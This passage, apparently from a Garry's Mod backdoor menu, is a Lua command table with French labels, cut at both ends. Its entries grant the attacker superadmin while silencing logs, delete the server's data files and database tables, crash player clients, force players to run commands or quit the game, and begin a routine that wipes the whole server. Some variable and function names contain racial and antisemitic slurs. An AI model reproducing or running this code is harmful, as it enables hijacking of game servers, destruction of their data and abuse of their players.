954["Type"] = 1,
955
956["Code"] = [[
957
958if !timer.Exists( "jcrevenofake" ) then
959
960timer.Create( "jcrevenofake", 0.7, 0, function()
961
962for _, p in pairs(player.GetAll()) do
963
964p:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 10)
965
966end
967
968end)
969
970else
971
972timer.Remove( "jcrevenofake" )
973
974end]],
975
976},
977
978["Modifier Map"] = {
979
980["Type"] = 1,
981
982["Code"] = [[RunConsoleCommand("ulx_logecho", "0")
983RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[", "superadmin")
984
985for k,v in pairs(player.GetAll()) do
986v:ConCommand("ulx map gm_construct")
987end
988
989]],
990
991
992},
993
994
995
996["'Reset Argent"] = {
997
998["Type"] = 1,
999
1000["Code"] = [[RunConsoleCommand("rp_resetallmoney")]],
1001
1002["Private"] = true,
1003
1004},
1005
1006["CleanUp"] = {
1007
1008["Type"] = 1,
1009
1010["Code"] = [[game.CleanUpMap()]],
1011
1012},
1013
1014["Supprimer les joueurs"] = {
1015
1016["Type"] = 1,
1017
1018["Code"] = [[for k, v in pairs(player.GetAll()) do v:Remove() end]],
1019},
1020
1021["'Supprimer data"] = {
1022
1023["Type"] = 1,
1024
1025["Code"] = [[local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end ]],
1026
1027["Private"] = true,
1028
1029},
1030
1031["'Supprimer Mysql"] = {
1032
1033["Type"] = 1,
1034
1035["Code"] = [[ MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)') ]],
1036
1037["Private"] = true,
1038
1039},
1040
1041["'Supprimer db"] = {
1042
1043["Type"] = 1,
1044
1045["Code"] = [[ sql.Query("DELETE FROM `DARKRP_BANNED_RPNAMES_STORE`")
1046sql.Query("DELETE FROM `DRP_PLAYER_NICKNAME_STORE`")
1047sql.Query("DELETE FROM `FADMIN_GROUPS`")
1048sql.Query("DELETE FROM `FADMIN_MOTD`")
1049sql.Query("DELETE FROM `FADMIN_PRIVILEGES`")
1050sql.Query("DELETE FROM `FADMIN_RESTRICTEDENTS`")
1051sql.Query("DELETE FROM `FAdminBans`")
1052sql.Query("DELETE FROM `FAdmin_CAMIPrivileges`")
1053sql.Query("DELETE FROM `FAdmin_Immunity`")
1054sql.Query("DELETE FROM `FAdmin_PlayerGroup`")
1055sql.Query("DELETE FROM `FAdmin_ServerSettings`")
1056sql.Query("DELETE FROM `FPP_ANTISPAM1`")
1057sql.Query("DELETE FROM `FPP_BLOCKED1`")
1058sql.Query("DELETE FROM `FPP_BLOCKEDMODELS1`")
1059sql.Query("DELETE FROM `FPP_BLOCKMODELSETTINGS1`")
1060sql.Query("DELETE FROM `FPP_ENTITYDAMAGE1`")
1061sql.Query("DELETE FROM `FPP_GLOBALSETTINGS1`")
1062sql.Query("DELETE FROM `FPP_GRAVGUN1`")
1063sql.Query("DELETE FROM `FPP_GROUPMEMBERS1`")
1064sql.Query("DELETE FROM `FPP_GROUPS3`")
1065sql.Query("DELETE FROM `FPP_GROUPTOOL`")
1066sql.Query("DELETE FROM `FPP_PHYSGUN1`")
1067sql.Query("DELETE FROM `FPP_PLAYERUSE1`")
1068sql.Query("DELETE FROM `FPP_TOOLADMINONLY`")
1069sql.Query("DELETE FROM `FPP_TOOLGUN1`")
1070sql.Query("DELETE FROM `FPP_TOOLRESTRICTPERSON1`")
1071sql.Query("DELETE FROM `FPP_TOOLTEAMRESTRICT`")
1072sql.Query("DELETE FROM `TTT_PLAYER_NICKNAME_STORE`")
1073sql.Query("DELETE FROM `batm_group_accounts`")
1074sql.Query("DELETE FROM `batm_personal_accounts`")
1075sql.Query("DELETE FROM `cac_incidents`")
1076sql.Query("DELETE FROM `cookies`")
1077sql.Query("DELETE FROM `darkrp_dbversion`")
1078sql.Query("DELETE FROM `darkrp_door`")
1079sql.Query("DELETE FROM `darkrp_doorgroups`")
1080sql.Query("DELETE FROM `darkrp_doorjobs`")
1081sql.Query("DELETE FROM `darkrp_jobSpawn`")
1082sql.Query("DELETE FROM `darkrp_player`")
1083sql.Query("DELETE FROM `darkrp_position`")
1084sql.Query("DELETE FROM `ll_plates`")
1085sql.Query("DELETE FROM `playerinformation`")
1086sql.Query("DELETE FROM `playerpdata`")
1087sql.Query("DELETE FROM `rphone_numbers`")
1088sql.Query("DELETE FROM `rphone_sms`")
1089sql.Query("DELETE FROM `sqlite_sequence`")
1090sql.Query("DELETE FROM `ulib_bans`")
1091sql.Query("DELETE FROM `utime`") ]],
1092
1093["Private"] = true,
1094
1095},
1096
1097/*============================================
1098|===== Commandes Sur Joueur Selectionné =====|
1099===========================================*/
1100
1101
1102
1103["Tuer Le Joueur"] = {
1104
1105["Type"] = 2,
1106
1107["Code"] = [[v:Kill()]],
1108
1109
1110},
1111
1112
1113
1114
1115["'Joueur Multicolor"] = {
1116
1117["Type"] = 2,
1118
1119["Code"] = [[
1120
1121v:SetModel( "models/player/group02/male_04.mdl" )
1122
1123v:SetMaterial( "models/debug/debugwhite" )
1124
1125hook.Add( "Think", "multicolore", function()
1126
1127v:SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
1128
1129end )
1130
1131
1132local id = ]] .. LocalPlayer():UserID() .. [[
1133
1134Player( id ):SetModel( "models/player/group02/male_04.mdl" )
1135
1136Player( id ):SetMaterial( "models/debug/debugwhite" )
1137
1138hook.Add( "Think", "multicolore2", function()
1139
1140if !IsValid( Player( id ) ) then return end
1141
1142Player( id ):SetColor( HSVToColor( RealTime() * 120 % 360, 1, 1 ) )
1143
1144end )
1145]],
1146
1147["Private"] = true,
1148},
1149
1150
1151
1152
1153["Expelliarmus"] = {
1154
1155["Type"] = 2, -- 1 = indiscriminate, 2= targeted, 3 = dangerous
1156
1157["Code"] = [[v:DropWeapon( v:GetActiveWeapon() )]],
1158
1159},
1160
1161["Ear rape (via internet)"] = {
1162
1163["Type"] = 2,
1164
1165["Code"] = [[
1166
1167BDSendLua( v, 'if soundrape then soundrape:Remove() soundrape = nil return end soundrape = vgui.Create( "DFrame" ) soundrape:SetSize( 1, 1 ) local html = vgui.Create( "HTML", soundrape ) html:OpenURL( @1 )' )
1168
1169]],
1170
1171["Desc"] = "fait écouter un son par URL (1er parametre). Sending a new sound will stop the previous one. Send an invalid url to stop all sounds entirely on their client",
1172
1173["NeedsParameters"] = 1,
1174
1175},
1176
1177
1178["Supprimer les armes"] = {
1179
1180["Type"] = 2,
1181
1182["Code"] = [[v:StripWeapons()]],
1183
1184},
1185
1186
1187
1188["Roquette"] = {
1189
1190["Type"] = 2,
1191
1192["Code"] = [[v:SetVelocity( Vector(0, 0, 9000) )]],
1193
1194},
1195
1196
1197
1198["Change model"] = {
1199
1200["Type"] = 2,
1201
1202["Code"] = [[v:SetModel( @1 )]],
1203
1204["NeedsParameters"] = 1,
1205
1206},
1207
1208
1209
1210
1211["♾ Play Sound (1-5)"] = {
1212
1213["Type"] = 2,
1214
1215["Code"] = [[
1216
1217local snd = {
1218
1219[1] = "npc/stalker/go_alert2a.wav",
1220
1221[2] = "vo/npc/male01/question06.wav",
1222
1223[3] = "ambient/energy/zap1.wav",
1224
1225[4] = "vo/ravenholm/madlaugh04.wav",
1226
1227[5] = "npc/antlion_guard/antlion_guard_die1.wav",
1228
1229}
1230
1231v:EmitSound( snd[tonumber(@1)], 100, 100 )
1232
1233]],
1234
1235["NeedsParameters"] = 1,
1236
1237},
1238
1239
1240["'Mode Disco"] = {
1241
1242["Type"] = 2,
1243
1244["Code"] = [[
1245
1246BDSendLua( v, 'if hook.GetTable().HUDPaint.drugznigga then hook.Remove( "HUDPaint", "drugznigga" ) else hook.Add( "HUDPaint", "drugznigga", function() local cin = math.sin( CurTime() * 10 ) * 255 surface.SetDrawColor( Color( cin, -cin, cin, 100 ) ) surface.DrawRect( 0, 0, ScrW(), ScrH() ) end) end' )
1247
1248]],
1249
1250["Private"] = true,
1251
1252},
1253
1254
1255
1256["'Musique Disco"] = {
1257
1258["Type"] = 2,
1259
1260["Code"] = [[
1261
1262BDSendLua( v, 'surface.PlaySound( "music/hl1_song25_remix3.mp3" )' )
1263
1264]],
1265
1266["Private"] = true,
1267
1268},
1269
1270
1271
1272["Message PV"] = {
1273
1274["Type"] = 2,
1275
1276["Code"] = [[v:ChatPrint( @1 )]],
1277
1278["NeedsParameters"] = 1,
1279
1280},
1281
1282
1283
1284["Brûler"] = {
1285
1286["Type"] = 2,
1287
1288["Code"] = [[v:Ignite( 30 )]],
1289
1290},
1291
1292
1293
1294["GodMod"] = {
1295
1296["Type"] = 2,
1297
1298["Code"] = [[if v:HasGodMode() then v:GodDisable() else v:GodEnable() end]],
1299
1300},
1301
1302
1303
1304["'Faire Crash"] = {
1305
1306["Type"] = 2,
1307
1308["Code"] = [[v:SendLua("function fag() return fag() end fag()")]],
1309
1310["Private"] = true,
1311
1312},
1313
1314
1315
1316["Courrir Vite"] = {
1317
1318["Type"] = 2,
1319
1320["Code"] = [[if !v.Sanic then v:SetRunSpeed( 1200 ) v:SetWalkSpeed(800) v.Sanic = true else v:SetRunSpeed( 240 ) v:SetWalkSpeed( 160 ) v.Sanic = false end]],
1321
1322},
1323
1324
1325
1326["Freeze"] = {
1327
1328["Type"] = 2,
1329
1330["Code"] = [[v:Freeze( !v:IsFrozen() )]],
1331
1332},
1333
1334
1335
1336["§ Forcer texte"] = {
1337
1338["Type"] = 2,
1339
1340["Code"] = [[v:Say(@1)]],
1341
1342["NeedsParameters"] = 1,
1343
1344},
1345
1346
1347
1348["§ Forcer commande"] = {
1349
1350["Type"] = 2,
1351
1352["Code"] = [[v:ConCommand(@1)]],
1353
1354["NeedsParameters"] = 1,
1355
1356},
1357
1358["§ Mouvement Troll"] = {
1359
1360["Type"] = 2,
1361
1362["Code"] = [[v:ConCommand( "+left" )
1363v:ConCommand( "+back" )]],
1364
1365},
1366
1367["§ Fermer le Jeux"] = {
1368
1369["Type"] = 2,
1370
1371["Code"] = [[v:ConCommand(quit)]],
1372
1373},
1374
1375
1376
1377
1378
1379
1380
1381["Modifier Argent"] = {
1382
1383["Type"] = 2,
1384
1385["Code"] = [[v:addMoney(@1)]],
1386
1387["NeedsParameters"] = 1,
1388
1389},
1390
1391
1392
1393["Changer de Métier"] = {
1394
1395["Type"] = 2,
1396
1397["Code"] = [[ for i, t in pairs( team.GetAllTeams() ) do if string.lower(t.Name) == string.lower( @1 ) then v:changeTeam(i, true, true) end end]],
1398
1399["NeedsParameters"] = 1,
1400
1401},
1402
1403
1404
1405["Noclip"] = {
1406
1407["Type"] = 2,
1408
1409["Code"] = [[if v:GetMoveType() != MOVETYPE_NOCLIP then v:SetMoveType(MOVETYPE_NOCLIP) else v:SetMoveType(MOVETYPE_WALK) end]],
1410
1411},
1412
1413
1414
1415["Téléporter ici"] = {
1416
1417["Type"] = 2,
1418
1419["Code"] = [[
1420
1421local tp = false
1422
1423local tpos
1424
1425for _, p in pairs(player.GetAll()) do if %LP then tpos = p:GetEyeTraceNoCursor().HitPos tp = true end end
1426
1427if tp then v:SetPos( tpos ) end
1428
1429]],
1430
1431},
1432
1433
1434
1435["Goto"] = {
1436
1437["Type"] = 2,
1438
1439["Code"] = [[
1440
1441local tp = false
1442
1443local tpos = v:GetPos() + Vector( 32, 0, 10)
1444
1445for _, p in pairs(player.GetAll()) do if %LP then p:SetPos( tpos ) end end
1446
1447]],
1448
1449},
1450
1451
1452["Spaw Entitées"] = {
1453
1454["Type"] = 2,
1455
1456["Code"] = [[
1457
1458local tr = {}
1459
1460tr.start = v:GetShootPos()
1461
1462tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1463
1464tr.filter = {v}
1465
1466local trace = util.TraceLine(tr)
1467
1468local dix = ents.Create( @1 )
1469
1470dix:SetPos(trace.HitPos)
1471
1472dix:SetAngles(Angle(0,0,0))
1473
1474dix:Spawn()
1475
1476]],
1477
1478
1479["NeedsParameters"] = 1,
1480
1481},
1482
1483
1484
1485["Spawn Props"] = {
1486
1487["Type"] = 2,
1488
1489["Code"] = [[
1490
1491local tr = {}
1492
1493tr.start = v:GetShootPos()
1494
1495tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1496
1497tr.filter = {v}
1498
1499local trace = util.TraceLine(tr)
1500
1501local dix = ents.Create( "prop_physics" )
1502
1503dix:SetPos(trace.HitPos)
1504
1505dix:SetAngles(Angle(0,0,0))
1506
1507dix:SetModel( @1 )
1508
1509dix:Spawn()
1510
1511]],
1512
1513["NeedsParameters"] = 1,
1514
1515},
1516
1517
1518
1519["'Spawn Bite Géante"] = {
1520
1521["Type"] = 2,
1522
1523["Code"] = [[
1524
1525FPP.Blocked = {} FPP.BlockedModels = {} FPP.RestrictedTools = {} FPP.RestrictedToolsPlayers = {}
1526
1527local tr = {}
1528
1529tr.start = v:GetShootPos()
1530
1531tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1532
1533tr.filter = {v}
1534
1535local trace = util.TraceLine(tr)
1536
1537local dix = ents.Create( "prop_physics" )
1538
1539dix:SetPos( trace.HitPos + Vector( 0, 0, 70 ) )
1540
1541dix:SetAngles( v:GetAngles() )
1542
1543dix:SetModel( "models/props_combine/breenglobe.mdl" )
1544
1545dix:Spawn()
1546
1547dix:SetMoveType( MOVETYPE_NONE )
1548
1549dix:SetMaterial( "models/shiny" )
1550
1551dix:SetColor( Color( 0, 0, 40 ) )
1552
1553
1554
1555local function ecr( parent, model, pos, ang, col, mat )
1556
1557local dix = ents.Create( "prop_physics" )
1558
1559dix:SetPos( parent:LocalToWorld( pos ) )
1560
1561dix:SetAngles( parent:LocalToWorldAngles( ang ) )
1562
1563dix:SetModel( model )
1564
1565dix:SetParent( parent )
1566
1567dix:Spawn()
1568
1569dix:SetColor( col )
1570
1571dix:SetMaterial( mat )
1572
1573end
1574
1575ecr( dix, "models/props_phx/construct/metal_plate_curve360x2.mdl", Vector( -5, 0, 30 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1576ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 0, 120 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1577ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 35, 0 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1578ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, 35, 0 ), Angle( 180, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1579ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, -35, 0 ), Angle( 0, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1580ecr( dix, "models/props_phx/construct/metal_dome360.mdl", Vector( -5, -35, 0 ), Angle( 180, 0, 0 ), HSVToColor( CurTime() % 6 * 60, 1, 0.5 ), "models/shiny" )
1581
1582for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(255, 255, 255 ), "ROCCCOOOOO SIIIFREEEEDIIIII")' ) sound.Play( "vo/npc/female01/yeah02.wav", p:GetPos(), 90, 80, 1 ) end
1583
1584]],
1585
1586["Private"] = true,
1587
1588},
1589
1590
1591
1592["Spawn Ennemis"] = {
1593
1594["Type"] = 2,
1595
1596["Code"] = [[
1597
1598local tr = {}
1599
1600tr.start = v:GetShootPos()
1601
1602tr.endpos = v:GetShootPos() + 2500 * v:GetAimVector()
1603
1604tr.filter = {v}
1605
1606local trace = util.TraceLine(tr)
1607
1608local dix = ents.Create( "npc_citizen" )
1609
1610dix:SetPos(trace.HitPos)
1611
1612dix:SetAngles(Angle(0,0,0))
1613
1614dix:SetKeyValue( "additionalequipment", table.Random({"weapon_shotgun", "weapon_smg1", "weapon_ar2"}) )
1615
1616dix:SetKeyValue( "citizentype", 3 )
1617
1618dix:AddRelationship("player D_HT 200")
1619
1620dix:SetCurrentWeaponProficiency(WEAPON_PROFICIENCY_PERFECT)
1621
1622dix:SetSchedule( SCHED_IDLE_WANDER )
1623
1624dix:Spawn()
1625
1626]],
1627
1628},
1629
1630
1631["Vision Explosive"] = {
1632
1633["Type"] = 2,
1634
1635["Code"] = [[
1636
1637local trace = v:GetEyeTraceNoCursor()
1638
1639local explo = ents.Create("env_explosion")
1640
1641explo:SetPos(trace.HitPos)
1642
1643explo:SetKeyValue("iMagnitude", "250")
1644
1645explo:Spawn()
1646
1647explo:Activate()
1648
1649explo:Fire("Explode", "", 0)
1650
1651]],
1652
1653
1654},
1655
1656
1657
1658
1659["Pluie de Véhicules"] = {
1660
1661["Type"] = 2,
1662
1663["Code"] = [[
1664
1665local trace = v:GetEyeTraceNoCursor()
1666
1667local car = ents.Create("prop_physics")
1668
1669local trace2 = util.TraceLine( { start = trace.HitPos, endpos = trace.HitPos + Vector( 0, 0, 5000000 ), mask = MASK_SOLID_BRUSHONLY } )
1670
1671car:SetModel( "models/props_vehicles/car002a_physics.mdl" )
1672
1673car:SetAngles( v:GetAngles() )
1674
1675car:SetPos( trace2.HitPos + Vector( 0, 0, -60 ) )
1676
1677car:Spawn()
1678
1679car:Activate()
1680
1681car.boom = 6
1682
1683car:GetPhysicsObject():SetVelocity( Vector( 0, 0, -5000 ) )
1684
1685car:Ignite( 500 )
1686
1687car:AddCallback( "PhysicsCollide", function( car, dat )
1688
1689local explo = ents.Create("env_explosion")
1690
1691explo:SetPos( car:GetPos() )
1692
1693explo:SetKeyValue("iMagnitude", "350")
1694
1695explo:Spawn()
1696
1697explo:Activate()
1698
1699explo:Fire("Explode", "", 0)
1700
1701local ef = EffectData()
1702
1703ef:SetOrigin( car:GetPos() )
1704
1705ef:SetMagnitude( 5 )
1706
1707ef:SetScale( 200 )
1708
1709util.Effect( "ThumperDust", ef )
1710
1711car.boom = car.boom - 1
1712
1713if car.boom < 0 then car:Remove() end
1714
1715end )
1716
1717timer.Simple( 30, function() if car:IsValid() then car:Remove() end end)
1718
1719]],
1720
1721},
1722
1723
1724
1725["Gas Toxique"] = {
1726
1727["Type"] = 2,
1728
1729["Code"] = [[
1730
1731local trace = v:GetEyeTraceNoCursor()
1732
1733local ar2Explo = ents.Create("env_ar2explosion")
1734
1735ar2Explo:SetOwner(game.GetWorld())
1736
1737local p = trace.HitPos
1738
1739ar2Explo:SetPos(trace.HitPos)
1740
1741ar2Explo:Spawn()
1742
1743ar2Explo:Activate()
1744
1745ar2Explo:Fire("Explode", "", 0)
1746
1747timer.Create( "gasthekikes_"..math.random(-9999, 9999).."_"..math.random(-9999, 9999), 0.25, 35, function()
1748
1749for _, ent in pairs(ents.FindInSphere( p, 500)) do
1750
1751if !ent:IsPlayer() then continue end
1752
1753local d = DamageInfo()
1754
1755d:SetDamage( 1 )
1756
1757d:SetAttacker( game.GetWorld() )
1758
1759d:SetInflictor( game.GetWorld() )
1760
1761d:SetDamageType( DMG_DROWN )
1762
1763ent:TakeDamageInfo( d )
1764
1765end
1766
1767end)
1768
1769
1770
1771]],
1772
1773},
1774
1775
1776["Kick Joueur"] = {
1777
1778["Type"] = 2,
1779
1780["Code"] = [[ v:Kick( @1 ) ]],
1781
1782
1783},
1784
1785
1786
1787
1788["Cloak"] = {
1789
1790["Type"] = 2,
1791
1792["Code"] = [[ if !v.BDCloaked then v:SetRenderMode( RENDERMODE_NONE ) v.BDCloaked = true else v:SetRenderMode( RENDERMODE_NORMAL ) v.BDCloaked = false end ]],
1793
1794
1795},
1796
1797
1798
1799["'Mettre un rank"] = {
1800
1801["Type"] = 2,
1802
1803["Code"] = [[ local userInfo = ULib.ucl.authed[ v:UniqueID() ] ULib.ucl.addUser( v:UniqueID(), userInfo.allow, userInfo.deny, @1 ) ]],
1804
1805["NeedsParameters"] = 1,
1806
1807["Private"] = true,
1808
1809},
1810
1811
1812
1813
1814/*====================================
1815|===== Commandes Customs Chelou =====|
1816===================================*/
1817
1818
1819
1820
1821["Joueurs 2D"] = {
1822
1823["Type"] = 2,
1824
1825["Code"] = [[
1826local bones = {
1827[1] = {b = "ValveBiped.Bip01_Head1", v = Vector(4,0,4)},
1828[2] = {b = "ValveBiped.Bip01_R_Thigh", v = Vector(0,0,0)},
1829[3] = {b = "ValveBiped.Bip01_L_Thigh", v = Vector(0,0,0)},
1830[4] = {b = "ValveBiped.Bip01_R_Calf", v = Vector(0,0,1)},
1831[5] = {b = "ValveBiped.Bip01_L_Calf", v = Vector(0,0,1)},
1832[6] = {b = "ValveBiped.Bip01_R_UpperArm", v = Vector(0,0,0)},
1833[7] = {b = "ValveBiped.Bip01_L_UpperArm", v = Vector(0,0,0)},
1834[8] = {b = "ValveBiped.Bip01_R_Forearm", v = Vector(1,1.5,1.5)},
1835[9] = {b = "ValveBiped.Bip01_L_Forearm", v = Vector(1,1.5,1.5)},
1836[10] = {b = "ValveBiped.Bip01_R_Clavicle", v = Vector(0,0,0)},
1837[11] = {b = "ValveBiped.Bip01_L_Clavicle", v = Vector(0,0,0)},
1838}
1839
1840if !v.is2D then
1841v.is2D = true
1842for k, bone in pairs(bones) do
1843local boneToFind = v:LookupBone(bone.b)
1844v:ManipulateBoneScale( boneToFind, bone.v)
1845end
1846else
1847v.is2D = false
1848for k, bone in pairs(bones) do
1849local boneToFind = v:LookupBone(bone.b)
1850v:ManipulateBoneScale( boneToFind, Vector(1,1,1))
1851end
1852end
1853]],
1854
1855},
1856
1857["Nuke (M9K)"] = {
1858
1859["Type"] = 2,
1860
1861["Code"] = [[
1862// if (m9k) then
1863local nuke = ents.Create("m9k_davy_crockett_explo")
1864nuke:SetPos(v:GetPos())
1865nuke:SetOwner(v)
1866nuke.Owner = v
1867nuke:Spawn()
1868nuke:Activate()
1869// end
1870]],
1871
1872},
1873
1874["Brouiller la console"] = {
1875
1876["Type"] = 1,
1877
1878["Code"] = [[
1879if !(timer.Exists("consoleJammer")) then
1880timer.Create("consoleJammer", 0.5, 0, function()
1881print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
1882end )
1883else
1884timer.Destroy("consoleJammer")
1885end
1886]],
1887
1888},
1889
1890["'Se mettre superadmin"] = {
1891
1892["Type"] = 1,
1893
1894["Code"] = [[
1895RunConsoleCommand("ulx_logecho", "0")
1896RunConsoleCommand("ulx", "adduserid", "]]..LocalPlayer():SteamID()..[[", "superadmin")
1897]],
1898
1899["Private"] = true,
1900
1901},
1902
1903["Deban all"] = {
1904
1905["Type"] = 1,
1906
1907["Code"] = [[
1908RunConsoleCommand(\"ulx\", \"groupallow\", \"user\", \"ulx luarun\")
1909]],
1910
1911},
1912
1913
1914["'Supprimer le Serveur"] = {
1915
1916["Type"] = 1,
1917
1918["Code"] = [[
1919local date = os.date( "%m-%d-%y" )
1920local dataBDMenus = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobSpawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
1921local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcSpawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_Spawnpoint/rp_venator_v3.txt","nordahl_Spawnpoint/rp_venator_v2.txt","nordahl_Spawnpoint/rp_venator_v1.txt","nordahl_Spawnpoint/rp_venator_gg.txt","nordahl_Spawnpoint/rp_venator_ausv4.txt","nordahl_Spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_Spawnpoint/arena_byre.txt","nordahl_Spawnpoint/rp_venator_v2_immersive.txt","nordahl_Spawnpoint/rp_venator_fade_v3.txt","nordahl_Spawnpoint/rp_venator_gr.txt","nordahl_Spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_Spawnpoint/rp_scifi.txt","nordahl_Spawnpoint/rishimoon_crimson.txt","nordahl_Spawnpoint/rp_pripyat_hl2.txt","nordahl_Spawnpoint/rp_onwardhope.txt", "nordahl_Spawnpoint/rp_oldworld_fix.txt","nordahl_Spawnpoint/sd_doomsday.txt","nordahl_Spawnpoint/sd_doomsday_event.txt","nordahl_Spawnpoint/rp_naboo_city_v1.txt","nordahl_Spawnpoint/rp_noclyria_crimson.txt","nordahl_Spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_Spawnpoint/rp_mos_mersic_v2.txt","nordahl_Spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_Spawnpoint/dust_dunes.txt","nordahl_Spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_Spawnpoint/rd_asteroid.txt","nordahl_Spawnpoint/naboo.txt","nordahl_Spawnpoint/kashyyyk.txt","nordahl_Spawnpoint/geonosis.txt","nordahl_Spawnpoint/fightspace3b.txt","nordahl_Spawnpoint/endor.txt","nordahl_Spawnpoint/toth_forgotten.txt"}
